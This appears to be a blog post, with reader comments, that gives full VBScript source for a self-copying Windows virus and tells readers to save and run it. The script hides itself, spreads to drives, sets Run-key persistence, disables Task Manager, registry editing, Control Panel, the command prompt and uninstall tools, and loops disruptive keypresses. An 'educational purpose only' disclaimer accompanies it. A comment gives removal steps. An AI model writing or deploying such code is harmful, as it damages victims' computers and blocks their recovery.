Create destructive virus!

A simple virus which copies itself to different location in your computer and impose restrictions to prevent its detection and removal.
Copy the code in notepad and save it as "virus.vbs".
Select "All Files" in save as type.
NOTE: I must not be held liable for any damages of any kind arising out from this. This is for educational purpose ONLY.
 CODE:

ON ERROR RESUME NEXT

Set objShell = createObject("WScript.Shell")
set objFS = createObject("Scripting.FileSystemObject")
set objShell32 = createobject("shell.application")
set drv = objFS.Drives
Reg = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\"
Reg2 = "HKLM\SOFTWARE\Microsoft\Windows NT\"
do
  objFS.GetFile(Wscript.ScriptFullName).Attributes = 6
  for each driv in drv
    if driv.DriveType = 1 then
      objFS.CopyFile wscript.ScriptFullName, driv.DriveLetter & ":\vir.vbs", true
      objFS.CopyFile wscript.ScriptFullName , objFS.GetSpecialFolder(WindowsFolder) & "\vir.vbs", true
    end if
  next
  objShell.RegWrite Reg & "System\DisableTaskMgr", 1, "REG_DWORD"
  objShell.RegWrite Reg & "System\DisableRegistryTools", 2, "REG_DWORD"
  objShell.RegWrite Reg & "Explorer\NoFolderOptions", 1, "REG_DWORD"
  objShell.RegWrite Reg & "Explorer\NoControlPanel", 1, "REG_DWORD"
  objShell.RegWrite Reg & "Uninstall\NoAddRemovePrograms", 1, "REG_DWORD"
  objShell.RegWrite "HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD", 2, "REG_DWORD"
  objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Virus",     objFS.GetSpecialFolder(WindowsFolder) & "\vir.vbs"
  objShell.RegWrite Reg2 & "CurrentVersion\RegisteredOwner", "Subin Ninan", "REG_SZ"
  wscript.sleep 1000
  objshell.SendKeys "{numlock}"
  wscript.sleep 1000
  objshell.SendKeys "{capslock}"
  wscript.sleep 1000
  objshell.SendKeys "{scrolllock}"
  objShell32.minimizeall
loop

6 comments

Anonymous mod

Ok that's cool.....But??? why the F*****k would I want to infect my computer???

Reply

thats more than cool.......... bro keep it up!
i think i'll be very useful for me

Reply

Thanks.. :)
This is for educational purpose only.
Please don't run this file on any computer.

Reply
Anonymous mod

wow cool dude... how to remove the infected pc?

Reply

As this virus disables Task Manager, RegEdit, Control Panel, Command Prompt, Folder Options and Add/Remove Programs.
You'll need to use Task Manager to end this script.

Download & run Process Manager and end process "Wscript".

To enable task manager, regedit, cmd, etc.. use Restore System option available in Process Manager.
Don't forget to remove this virus from StartUp.

Reply
Anonymous mod

ouch

Reply

Post a Comment